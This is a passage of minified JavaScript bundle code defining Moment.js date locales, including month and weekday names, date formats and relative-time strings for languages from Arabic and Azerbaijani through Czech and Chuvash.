2===o&&(d=d[n?0:1]),d.replace(/%d/i,t)}},a=["يناير","فبراير","مارس","أبريل","مايو","يونيو","يوليو","أغسطس","سبتمبر","أكتوبر","نوفمبر","ديسمبر"];e.defineLocale("ar",{months:a,monthsShort:a,weekdays:"الأحد_الإثنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت".split("_"),weekdaysShort:"أحد_إثنين_ثلاثاء_أربعاء_خميس_جمعة_سبت".split("_"),weekdaysMin:"ح_ن_ث_ر_خ_ج_س".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"D/‏M/‏YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/ص|م/,isPM:function(e){return"م"===e},meridiem:function(e,t,n){return e<12?"ص":"م"},calendar:{sameDay:"[اليوم عند الساعة] LT",nextDay:"[غدًا عند الساعة] LT",nextWeek:"dddd [عند الساعة] LT",lastDay:"[أمس عند الساعة] LT",lastWeek:"dddd [عند الساعة] LT",sameElse:"L"},relativeTime:{future:"بعد %s",past:"منذ %s",s:s("s"),ss:s("s"),m:s("m"),mm:s("m"),h:s("h"),hh:s("h"),d:s("d"),dd:s("d"),M:s("M"),MM:s("M"),y:s("y"),yy:s("y")},preparse:function(e){return e.replace(/[١٢٣٤٥٦٧٨٩٠]/g,(function(e){return n[e]})).replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},week:{dow:6,doy:12}})}(n(381))},1083:function(e,t,n){!function(e){"use strict";var t={1:"-inci",5:"-inci",8:"-inci",70:"-inci",80:"-inci",2:"-nci",7:"-nci",20:"-nci",50:"-nci",3:"-üncü",4:"-üncü",100:"-üncü",6:"-ncı",9:"-uncu",10:"-uncu",30:"-uncu",60:"-ıncı",90:"-ıncı"};e.defineLocale("az",{months:"yanvar_fevral_mart_aprel_may_iyun_iyul_avqust_sentyabr_oktyabr_noyabr_dekabr".split("_"),monthsShort:"yan_fev_mar_apr_may_iyn_iyl_avq_sen_okt_noy_dek".split("_"),weekdays:"Bazar_Bazar ertəsi_Çərşənbə axşamı_Çərşənbə_Cümə axşamı_Cümə_Şənbə".split("_"),weekdaysShort:"Baz_BzE_ÇAx_Çər_CAx_Cüm_Şən".split("_"),weekdaysMin:"Bz_BE_ÇA_Çə_CA_Cü_Şə".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[bugün saat] LT",nextDay:"[sabah saat] LT",nextWeek:"[gələn həftə] dddd [saat] LT",lastDay:"[dünən] LT",lastWeek:"[keçən həftə] dddd [saat] LT",sameElse:"L"},relativeTime:{future:"%s sonra",past:"%s əvvəl",s:"bir neçə saniyə",ss:"%d saniyə",m:"bir dəqiqə",mm:"%d dəqiqə",h:"bir saat",hh:"%d saat",d:"bir gün",dd:"%d gün",M:"bir ay",MM:"%d ay",y:"bir il",yy:"%d il"},meridiemParse:/gecə|səhər|gündüz|axşam/,isPM:function(e){return/^(gündüz|axşam)$/.test(e)},meridiem:function(e,t,n){return e<4?"gecə":e<12?"səhər":e<17?"gündüz":"axşam"},dayOfMonthOrdinalParse:/\d{1,2}-(ıncı|inci|nci|üncü|ncı|uncu)/,ordinal:function(e){if(0===e)return e+"-ıncı";var n=e%10,r=e%100-n,i=e>=100?100:null;return e+(t[n]||t[r]||t[i])},week:{dow:1,doy:7}})}(n(381))},9808:function(e,t,n){!function(e){"use strict";function t(e,t){var n=e.split("_");return t%10==1&&t%100!=11?n[0]:t%10>=2&&t%10<=4&&(t%100<10||t%100>=20)?n[1]:n[2]}function n(e,n,r){return"m"===r?n?"хвіліна":"хвіліну":"h"===r?n?"гадзіна":"гадзіну":e+" "+t({ss:n?"секунда_секунды_секунд":"секунду_секунды_секунд",mm:n?"хвіліна_хвіліны_хвілін":"хвіліну_хвіліны_хвілін",hh:n?"гадзіна_гадзіны_гадзін":"гадзіну_гадзіны_гадзін",dd:"дзень_дні_дзён",MM:"месяц_месяцы_месяцаў",yy:"год_гады_гадоў"}[r],+e)}e.defineLocale("be",{months:{format:"студзеня_лютага_сакавіка_красавіка_траўня_чэрвеня_ліпеня_жніўня_верасня_кастрычніка_лістапада_снежня".split("_"),standalone:"студзень_люты_сакавік_красавік_травень_чэрвень_ліпень_жнівень_верасень_кастрычнік_лістапад_снежань".split("_")},monthsShort:"студ_лют_сак_крас_трав_чэрв_ліп_жнів_вер_каст_ліст_снеж".split("_"),weekdays:{format:"нядзелю_панядзелак_аўторак_сераду_чацвер_пятніцу_суботу".split("_"),standalone:"нядзеля_панядзелак_аўторак_серада_чацвер_пятніца_субота".split("_"),isFormat:/\[ ?[Ууў] ?(?:мінулую|наступную)? ?\] ?dddd/},weekdaysShort:"нд_пн_ат_ср_чц_пт_сб".split("_"),weekdaysMin:"нд_пн_ат_ср_чц_пт_сб".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY г.",LLL:"D MMMM YYYY г., HH:mm",LLLL:"dddd, D MMMM YYYY г., HH:mm"},calendar:{sameDay:"[Сёння ў] LT",nextDay:"[Заўтра ў] LT",lastDay:"[Учора ў] LT",nextWeek:function(){return"[У] dddd [ў] LT"},lastWeek:function(){switch(this.day()){case 0:case 3:case 5:case 6:return"[У мінулую] dddd [ў] LT";case 1:case 2:case 4:return"[У мінулы] dddd [ў] LT"}},sameElse:"L"},relativeTime:{future:"праз %s",past:"%s таму",s:"некалькі секунд",m:n,mm:n,h:n,hh:n,d:"дзень",dd:n,M:"месяц",MM:n,y:"год",yy:n},meridiemParse:/ночы|раніцы|дня|вечара/,isPM:function(e){return/^(дня|вечара)$/.test(e)},meridiem:function(e,t,n){return e<4?"ночы":e<12?"раніцы":e<17?"дня":"вечара"},dayOfMonthOrdinalParse:/\d{1,2}-(і|ы|га)/,ordinal:function(e,t){switch(t){case"M":case"d":case"DDD":case"w":case"W":return e%10!=2&&e%10!=3||e%100==12||e%100==13?e+"-ы":e+"-і";case"D":return e+"-га";default:return e}},week:{dow:1,doy:7}})}(n(381))},8338:function(e,t,n){!function(e){"use strict";e.defineLocale("bg",{months:"януари_февруари_март_април_май_юни_юли_август_септември_октомври_ноември_декември".split("_"),monthsShort:"яну_фев_мар_апр_май_юни_юли_авг_сеп_окт_ное_дек".split("_"),weekdays:"неделя_понеделник_вторник_сряда_четвъртък_петък_събота".split("_"),weekdaysShort:"нед_пон_вто_сря_чет_пет_съб".split("_"),weekdaysMin:"нд_пн_вт_ср_чт_пт_сб".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY H:mm",LLLL:"dddd, D MMMM YYYY H:mm"},calendar:{sameDay:"[Днес в] LT",nextDay:"[Утре в] LT",nextWeek:"dddd [в] LT",lastDay:"[Вчера в] LT",lastWeek:function(){switch(this.day()){case 0:case 3:case 6:return"[Миналата] dddd [в] LT";case 1:case 2:case 4:case 5:return"[Миналия] dddd [в] LT"}},sameElse:"L"},relativeTime:{future:"след %s",past:"преди %s",s:"няколко секунди",ss:"%d секунди",m:"минута",mm:"%d минути",h:"час",hh:"%d часа",d:"ден",dd:"%d дена",w:"седмица",ww:"%d седмици",M:"месец",MM:"%d месеца",y:"година",yy:"%d години"},dayOfMonthOrdinalParse:/\d{1,2}-(ев|ен|ти|ви|ри|ми)/,ordinal:function(e){var t=e%10,n=e%100;return 0===e?e+"-ев":0===n?e+"-ен":n>10&&n<20?e+"-ти":1===t?e+"-ви":2===t?e+"-ри":7===t||8===t?e+"-ми":e+"-ти"},week:{dow:1,doy:7}})}(n(381))},7438:function(e,t,n){!function(e){"use strict";e.defineLocale("bm",{months:"Zanwuyekalo_Fewuruyekalo_Marisikalo_Awirilikalo_Mɛkalo_Zuwɛnkalo_Zuluyekalo_Utikalo_Sɛtanburukalo_ɔkutɔburukalo_Nowanburukalo_Desanburukalo".split("_"),monthsShort:"Zan_Few_Mar_Awi_Mɛ_Zuw_Zul_Uti_Sɛt_ɔku_Now_Des".split("_"),weekdays:"Kari_Ntɛnɛn_Tarata_Araba_Alamisa_Juma_Sibiri".split("_"),weekdaysShort:"Kar_Ntɛ_Tar_Ara_Ala_Jum_Sib".split("_"),weekdaysMin:"Ka_Nt_Ta_Ar_Al_Ju_Si".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"MMMM [tile] D [san] YYYY",LLL:"MMMM [tile] D [san] YYYY [lɛrɛ] HH:mm",LLLL:"dddd MMMM [tile] D [san] YYYY [lɛrɛ] HH:mm"},calendar:{sameDay:"[Bi lɛrɛ] LT",nextDay:"[Sini lɛrɛ] LT",nextWeek:"dddd [don lɛrɛ] LT",lastDay:"[Kunu lɛrɛ] LT",lastWeek:"dddd [tɛmɛnen lɛrɛ] LT",sameElse:"L"},relativeTime:{future:"%s kɔnɔ",past:"a bɛ %s bɔ",s:"sanga dama dama",ss:"sekondi %d",m:"miniti kelen",mm:"miniti %d",h:"lɛrɛ kelen",hh:"lɛrɛ %d",d:"tile kelen",dd:"tile %d",M:"kalo kelen",MM:"kalo %d",y:"san kelen",yy:"san %d"},week:{dow:1,doy:4}})}(n(381))},6225:function(e,t,n){!function(e){"use strict";var t={1:"১",2:"২",3:"৩",4:"৪",5:"৫",6:"৬",7:"৭",8:"৮",9:"৯",0:"০"},n={"১":"1","২":"2","৩":"3","৪":"4","৫":"5","৬":"6","৭":"7","৮":"8","৯":"9","০":"0"};e.defineLocale("bn-bd",{months:"জানুয়ারি_ফেব্রুয়ারি_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্টেম্বর_অক্টোবর_নভেম্বর_ডিসেম্বর".split("_"),monthsShort:"জানু_ফেব্রু_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্ট_অক্টো_নভে_ডিসে".split("_"),weekdays:"রবিবার_সোমবার_মঙ্গলবার_বুধবার_বৃহস্পতিবার_শুক্রবার_শনিবার".split("_"),weekdaysShort:"রবি_সোম_মঙ্গল_বুধ_বৃহস্পতি_শুক্র_শনি".split("_"),weekdaysMin:"রবি_সোম_মঙ্গল_বুধ_বৃহ_শুক্র_শনি".split("_"),longDateFormat:{LT:"A h:mm সময়",LTS:"A h:mm:ss সময়",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm সময়",LLLL:"dddd, D MMMM YYYY, A h:mm সময়"},calendar:{sameDay:"[আজ] LT",nextDay:"[আগামীকাল] LT",nextWeek:"dddd, LT",lastDay:"[গতকাল] LT",lastWeek:"[গত] dddd, LT",sameElse:"L"},relativeTime:{future:"%s পরে",past:"%s আগে",s:"কয়েক সেকেন্ড",ss:"%d সেকেন্ড",m:"এক মিনিট",mm:"%d মিনিট",h:"এক ঘন্টা",hh:"%d ঘন্টা",d:"এক দিন",dd:"%d দিন",M:"এক মাস",MM:"%d মাস",y:"এক বছর",yy:"%d বছর"},preparse:function(e){return e.replace(/[১২৩৪৫৬৭৮৯০]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/রাত|ভোর|সকাল|দুপুর|বিকাল|সন্ধ্যা|রাত/,meridiemHour:function(e,t){return 12===e&&(e=0),"রাত"===t?e<4?e:e+12:"ভোর"===t||"সকাল"===t?e:"দুপুর"===t?e>=3?e:e+12:"বিকাল"===t||"সন্ধ্যা"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"রাত":e<6?"ভোর":e<12?"সকাল":e<15?"দুপুর":e<18?"বিকাল":e<20?"সন্ধ্যা":"রাত"},week:{dow:0,doy:6}})}(n(381))},8905:function(e,t,n){!function(e){"use strict";var t={1:"১",2:"২",3:"৩",4:"৪",5:"৫",6:"৬",7:"৭",8:"৮",9:"৯",0:"০"},n={"১":"1","২":"2","৩":"3","৪":"4","৫":"5","৬":"6","৭":"7","৮":"8","৯":"9","০":"0"};e.defineLocale("bn",{months:"জানুয়ারি_ফেব্রুয়ারি_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্টেম্বর_অক্টোবর_নভেম্বর_ডিসেম্বর".split("_"),monthsShort:"জানু_ফেব্রু_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্ট_অক্টো_নভে_ডিসে".split("_"),weekdays:"রবিবার_সোমবার_মঙ্গলবার_বুধবার_বৃহস্পতিবার_শুক্রবার_শনিবার".split("_"),weekdaysShort:"রবি_সোম_মঙ্গল_বুধ_বৃহস্পতি_শুক্র_শনি".split("_"),weekdaysMin:"রবি_সোম_মঙ্গল_বুধ_বৃহ_শুক্র_শনি".split("_"),longDateFormat:{LT:"A h:mm সময়",LTS:"A h:mm:ss সময়",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm সময়",LLLL:"dddd, D MMMM YYYY, A h:mm সময়"},calendar:{sameDay:"[আজ] LT",nextDay:"[আগামীকাল] LT",nextWeek:"dddd, LT",lastDay:"[গতকাল] LT",lastWeek:"[গত] dddd, LT",sameElse:"L"},relativeTime:{future:"%s পরে",past:"%s আগে",s:"কয়েক সেকেন্ড",ss:"%d সেকেন্ড",m:"এক মিনিট",mm:"%d মিনিট",h:"এক ঘন্টা",hh:"%d ঘন্টা",d:"এক দিন",dd:"%d দিন",M:"এক মাস",MM:"%d মাস",y:"এক বছর",yy:"%d বছর"},preparse:function(e){return e.replace(/[১২৩৪৫৬৭৮৯০]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/রাত|সকাল|দুপুর|বিকাল|রাত/,meridiemHour:function(e,t){return 12===e&&(e=0),"রাত"===t&&e>=4||"দুপুর"===t&&e<5||"বিকাল"===t?e+12:e},meridiem:function(e,t,n){return e<4?"রাত":e<10?"সকাল":e<17?"দুপুর":e<20?"বিকাল":"রাত"},week:{dow:0,doy:6}})}(n(381))},1560:function(e,t,n){!function(e){"use strict";var t={1:"༡",2:"༢",3:"༣",4:"༤",5:"༥",6:"༦",7:"༧",8:"༨",9:"༩",0:"༠"},n={"༡":"1","༢":"2","༣":"3","༤":"4","༥":"5","༦":"6","༧":"7","༨":"8","༩":"9","༠":"0"};e.defineLocale("bo",{months:"ཟླ་བ་དང་པོ_ཟླ་བ་གཉིས་པ_ཟླ་བ་གསུམ་པ_ཟླ་བ་བཞི་པ_ཟླ་བ་ལྔ་པ_ཟླ་བ་དྲུག་པ_ཟླ་བ་བདུན་པ_ཟླ་བ་བརྒྱད་པ_ཟླ་བ་དགུ་པ_ཟླ་བ་བཅུ་པ_ཟླ་བ་བཅུ་གཅིག་པ_ཟླ་བ་བཅུ་གཉིས་པ".split("_"),monthsShort:"ཟླ་1_ཟླ་2_ཟླ་3_ཟླ་4_ཟླ་5_ཟླ་6_ཟླ་7_ཟླ་8_ཟླ་9_ཟླ་10_ཟླ་11_ཟླ་12".split("_"),monthsShortRegex:/^(ཟླ་\d{1,2})/,monthsParseExact:!0,weekdays:"གཟའ་ཉི་མ་_གཟའ་ཟླ་བ་_གཟའ་མིག་དམར་_གཟའ་ལྷག་པ་_གཟའ་ཕུར་བུ_གཟའ་པ་སངས་_གཟའ་སྤེན་པ་".split("_"),weekdaysShort:"ཉི་མ་_ཟླ་བ་_མིག་དམར་_ལྷག་པ་_ཕུར་བུ_པ་སངས་_སྤེན་པ་".split("_"),weekdaysMin:"ཉི_ཟླ_མིག_ལྷག_ཕུར_སངས_སྤེན".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm",LLLL:"dddd, D MMMM YYYY, A h:mm"},calendar:{sameDay:"[དི་རིང] LT",nextDay:"[སང་ཉིན] LT",nextWeek:"[བདུན་ཕྲག་རྗེས་མ], LT",lastDay:"[ཁ་སང] LT",lastWeek:"[བདུན་ཕྲག་མཐའ་མ] dddd, LT",sameElse:"L"},relativeTime:{future:"%s ལ་",past:"%s སྔན་ལ",s:"ལམ་སང",ss:"%d སྐར་ཆ།",m:"སྐར་མ་གཅིག",mm:"%d སྐར་མ",h:"ཆུ་ཚོད་གཅིག",hh:"%d ཆུ་ཚོད",d:"ཉིན་གཅིག",dd:"%d ཉིན་",M:"ཟླ་བ་གཅིག",MM:"%d ཟླ་བ",y:"ལོ་གཅིག",yy:"%d ལོ"},preparse:function(e){return e.replace(/[༡༢༣༤༥༦༧༨༩༠]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/མཚན་མོ|ཞོགས་ཀས|ཉིན་གུང|དགོང་དག|མཚན་མོ/,meridiemHour:function(e,t){return 12===e&&(e=0),"མཚན་མོ"===t&&e>=4||"ཉིན་གུང"===t&&e<5||"དགོང་དག"===t?e+12:e},meridiem:function(e,t,n){return e<4?"མཚན་མོ":e<10?"ཞོགས་ཀས":e<17?"ཉིན་གུང":e<20?"དགོང་དག":"མཚན་མོ"},week:{dow:0,doy:6}})}(n(381))},1278:function(e,t,n){!function(e){"use strict";function t(e,t,n){return e+" "+i({mm:"munutenn",MM:"miz",dd:"devezh"}[n],e)}function n(e){switch(r(e)){case 1:case 3:case 4:case 5:case 9:return e+" bloaz";default:return e+" vloaz"}}function r(e){return e>9?r(e%10):e}function i(e,t){return 2===t?s(e):e}function s(e){var t={m:"v",b:"v",d:"z"};return void 0===t[e.charAt(0)]?e:t[e.charAt(0)]+e.substring(1)}var a=[/^gen/i,/^c[ʼ\']hwe/i,/^meu/i,/^ebr/i,/^mae/i,/^(mez|eve)/i,/^gou/i,/^eos/i,/^gwe/i,/^her/i,/^du/i,/^ker/i],o=/^(genver|c[ʼ\']hwevrer|meurzh|ebrel|mae|mezheven|gouere|eost|gwengolo|here|du|kerzu|gen|c[ʼ\']hwe|meu|ebr|mae|eve|gou|eos|gwe|her|du|ker)/i,d=/^(genver|c[ʼ\']hwevrer|meurzh|ebrel|mae|mezheven|gouere|eost|gwengolo|here|du|kerzu)/i,u=/^(gen|c[ʼ\']hwe|meu|ebr|mae|eve|gou|eos|gwe|her|du|ker)/i,l=[/^sul/i,/^lun/i,/^meurzh/i,/^merc[ʼ\']her/i,/^yaou/i,/^gwener/i,/^sadorn/i],c=[/^Sul/i,/^Lun/i,/^Meu/i,/^Mer/i,/^Yao/i,/^Gwe/i,/^Sad/i],h=[/^Su/i,/^Lu/i,/^Me([^r]|$)/i,/^Mer/i,/^Ya/i,/^Gw/i,/^Sa/i];e.defineLocale("br",{months:"Genver_Cʼhwevrer_Meurzh_Ebrel_Mae_Mezheven_Gouere_Eost_Gwengolo_Here_Du_Kerzu".split("_"),monthsShort:"Gen_Cʼhwe_Meu_Ebr_Mae_Eve_Gou_Eos_Gwe_Her_Du_Ker".split("_"),weekdays:"Sul_Lun_Meurzh_Mercʼher_Yaou_Gwener_Sadorn".split("_"),weekdaysShort:"Sul_Lun_Meu_Mer_Yao_Gwe_Sad".split("_"),weekdaysMin:"Su_Lu_Me_Mer_Ya_Gw_Sa".split("_"),weekdaysParse:h,fullWeekdaysParse:l,shortWeekdaysParse:c,minWeekdaysParse:h,monthsRegex:o,monthsShortRegex:o,monthsStrictRegex:d,monthsShortStrictRegex:u,monthsParse:a,longMonthsParse:a,shortMonthsParse:a,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [a viz] MMMM YYYY",LLL:"D [a viz] MMMM YYYY HH:mm",LLLL:"dddd, D [a viz] MMMM YYYY HH:mm"},calendar:{sameDay:"[Hiziv da] LT",nextDay:"[Warcʼhoazh da] LT",nextWeek:"dddd [da] LT",lastDay:"[Decʼh da] LT",lastWeek:"dddd [paset da] LT",sameElse:"L"},relativeTime:{future:"a-benn %s",past:"%s ʼzo",s:"un nebeud segondennoù",ss:"%d eilenn",m:"ur vunutenn",mm:t,h:"un eur",hh:"%d eur",d:"un devezh",dd:t,M:"ur miz",MM:t,y:"ur bloaz",yy:n},dayOfMonthOrdinalParse:/\d{1,2}(añ|vet)/,ordinal:function(e){return e+(1===e?"añ":"vet")},week:{dow:1,doy:4},meridiemParse:/a.m.|g.m./,isPM:function(e){return"g.m."===e},meridiem:function(e,t,n){return e<12?"a.m.":"g.m."}})}(n(381))},622:function(e,t,n){!function(e){"use strict";function t(e,t,n){var r=e+" ";switch(n){case"ss":return r+=1===e?"sekunda":2===e||3===e||4===e?"sekunde":"sekundi";case"m":return t?"jedna minuta":"jedne minute";case"mm":return r+=1===e?"minuta":2===e||3===e||4===e?"minute":"minuta";case"h":return t?"jedan sat":"jednog sata";case"hh":return r+=1===e?"sat":2===e||3===e||4===e?"sata":"sati";case"dd":return r+=1===e?"dan":"dana";case"MM":return r+=1===e?"mjesec":2===e||3===e||4===e?"mjeseca":"mjeseci";case"yy":return r+=1===e?"godina":2===e||3===e||4===e?"godine":"godina"}}e.defineLocale("bs",{months:"januar_februar_mart_april_maj_juni_juli_august_septembar_oktobar_novembar_decembar".split("_"),monthsShort:"jan._feb._mar._apr._maj._jun._jul._aug._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sri._čet._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_če_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedjelju] [u] LT";case 3:return"[u] [srijedu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 5:return"[u] dddd [u] LT"}},lastDay:"[jučer u] LT",lastWeek:function(){switch(this.day()){case 0:case 3:return"[prošlu] dddd [u] LT";case 6:return"[prošle] [subote] [u] LT";case 1:case 2:case 4:case 5:return"[prošli] dddd [u] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"prije %s",s:"par sekundi",ss:t,m:t,mm:t,h:t,hh:t,d:"dan",dd:t,M:"mjesec",MM:t,y:"godinu",yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n(381))},2468:function(e,t,n){!function(e){"use strict";e.defineLocale("ca",{months:{standalone:"gener_febrer_març_abril_maig_juny_juliol_agost_setembre_octubre_novembre_desembre".split("_"),format:"de gener_de febrer_de març_d'abril_de maig_de juny_de juliol_d'agost_de setembre_d'octubre_de novembre_de desembre".split("_"),isFormat:/D[oD]?(\s)+MMMM/},monthsShort:"gen._febr._març_abr._maig_juny_jul._ag._set._oct._nov._des.".split("_"),monthsParseExact:!0,weekdays:"diumenge_dilluns_dimarts_dimecres_dijous_divendres_dissabte".split("_"),weekdaysShort:"dg._dl._dt._dc._dj._dv._ds.".split("_"),weekdaysMin:"dg_dl_dt_dc_dj_dv_ds".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM [de] YYYY",ll:"D MMM YYYY",LLL:"D MMMM [de] YYYY [a les] H:mm",lll:"D MMM YYYY, H:mm",LLLL:"dddd D MMMM [de] YYYY [a les] H:mm",llll:"ddd D MMM YYYY, H:mm"},calendar:{sameDay:function(){return"[avui a "+(1!==this.hours()?"les":"la")+"] LT"},nextDay:function(){return"[demà a "+(1!==this.hours()?"les":"la")+"] LT"},nextWeek:function(){return"dddd [a "+(1!==this.hours()?"les":"la")+"] LT"},lastDay:function(){return"[ahir a "+(1!==this.hours()?"les":"la")+"] LT"},lastWeek:function(){return"[el] dddd [passat a "+(1!==this.hours()?"les":"la")+"] LT"},sameElse:"L"},relativeTime:{future:"d'aquí %s",past:"fa %s",s:"uns segons",ss:"%d segons",m:"un minut",mm:"%d minuts",h:"una hora",hh:"%d hores",d:"un dia",dd:"%d dies",M:"un mes",MM:"%d mesos",y:"un any",yy:"%d anys"},dayOfMonthOrdinalParse:/\d{1,2}(r|n|t|è|a)/,ordinal:function(e,t){var n=1===e?"r":2===e?"n":3===e?"r":4===e?"t":"è";return"w"!==t&&"W"!==t||(n="a"),e+n},week:{dow:1,doy:4}})}(n(381))},5822:function(e,t,n){!function(e){"use strict";var t="leden_únor_březen_duben_květen_červen_červenec_srpen_září_říjen_listopad_prosinec".split("_"),n="led_úno_bře_dub_kvě_čvn_čvc_srp_zář_říj_lis_pro".split("_"),r=[/^led/i,/^úno/i,/^bře/i,/^dub/i,/^kvě/i,/^(čvn|červen$|června)/i,/^(čvc|červenec|července)/i,/^srp/i,/^zář/i,/^říj/i,/^lis/i,/^pro/i],i=/^(leden|únor|březen|duben|květen|červenec|července|červen|června|srpen|září|říjen|listopad|prosinec|led|úno|bře|dub|kvě|čvn|čvc|srp|zář|říj|lis|pro)/i;function s(e){return e>1&&e<5&&1!=~~(e/10)}function a(e,t,n,r){var i=e+" ";switch(n){case"s":return t||r?"pár sekund":"pár sekundami";case"ss":return t||r?i+(s(e)?"sekundy":"sekund"):i+"sekundami";case"m":return t?"minuta":r?"minutu":"minutou";case"mm":return t||r?i+(s(e)?"minuty":"minut"):i+"minutami";case"h":return t?"hodina":r?"hodinu":"hodinou";case"hh":return t||r?i+(s(e)?"hodiny":"hodin"):i+"hodinami";case"d":return t||r?"den":"dnem";case"dd":return t||r?i+(s(e)?"dny":"dní"):i+"dny";case"M":return t||r?"měsíc":"měsícem";case"MM":return t||r?i+(s(e)?"měsíce":"měsíců"):i+"měsíci";case"y":return t||r?"rok":"rokem";case"yy":return t||r?i+(s(e)?"roky":"let"):i+"lety"}}e.defineLocale("cs",{months:t,monthsShort:n,monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(leden|ledna|února|únor|březen|března|duben|dubna|květen|května|červenec|července|červen|června|srpen|srpna|září|říjen|října|listopadu|listopad|prosinec|prosince)/i,monthsShortStrictRegex:/^(led|úno|bře|dub|kvě|čvn|čvc|srp|zář|říj|lis|pro)/i,monthsParse:r,longMonthsParse:r,shortMonthsParse:r,weekdays:"neděle_pondělí_úterý_středa_čtvrtek_pátek_sobota".split("_"),weekdaysShort:"ne_po_út_st_čt_pá_so".split("_"),weekdaysMin:"ne_po_út_st_čt_pá_so".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd D. MMMM YYYY H:mm",l:"D. M. YYYY"},calendar:{sameDay:"[dnes v] LT",nextDay:"[zítra v] LT",nextWeek:function(){switch(this.day()){case 0:return"[v neděli v] LT";case 1:case 2:return"[v] dddd [v] LT";case 3:return"[ve středu v] LT";case 4:return"[ve čtvrtek v] LT";case 5:return"[v pátek v] LT";case 6:return"[v sobotu v] LT"}},lastDay:"[včera v] LT",lastWeek:function(){switch(this.day()){case 0:return"[minulou neděli v] LT";case 1:case 2:return"[minulé] dddd [v] LT";case 3:return"[minulou středu v] LT";case 4:case 5:return"[minulý] dddd [v] LT";case 6:return"[minulou sobotu v] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"před %s",s:a,ss:a,m:a,mm:a,h:a,hh:a,d:a,dd:a,M:a,MM:a,y:a,yy:a},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},877:function(e,t,n){!function(e){"use strict";e.defineLocale("cv",{months:"кӑрлач_нарӑс_пуш_ака_май_ҫӗртме_утӑ_ҫурла_авӑн_юпа_чӳк_раштав".split("_"),monthsShort:"кӑр_нар_пуш_ака_май_ҫӗр_утӑ_ҫур_авн_юпа_чӳк_раш".split("_"),weekdays:"вырсарникун_тунтикун_ытларикун_юнкун_кӗҫнерникун_эрнекун_шӑматкун".split("_"),weekdaysShort:"выр_тун_ытл_юн_кӗҫ_эрн_шӑм".split("_"),weekdaysMin:"вр_тн_ыт_юн_кҫ_эр_шм".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD-MM-YYYY",LL:"YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ]",LLL:"YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ], HH:mm",LLLL:"dddd, YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ], HH:mm"},calendar:{sameDay:"[Паян] LT [сехетре]",nextDay:"[Ыран] LT [сехетре]",lastDay:"[Ӗнер] LT [сехетре]",nextWeek:"[Ҫитес] dddd LT [сехетре]",lastWeek:"[Иртнӗ] dddd LT [сехетре]",sameElse:"L"},relativeTime:{future:function(e){return e+(/сехет$/i.exec(e)?"рен":/ҫул$/i.exec(e)?"тан":"ран")},past:"%s каялла",s:"пӗр-ик ҫеккунт",ss:"%d ҫеккунт",m:"пӗр минут",mm:"%d минут",h:"пӗр сехет",hh:"%d сехет",d:"пӗр кун",dd:"%d кун",M:"пӗр уйӑх",MM:"%d уйӑх",y:"пӗр ҫул",yy:"%d 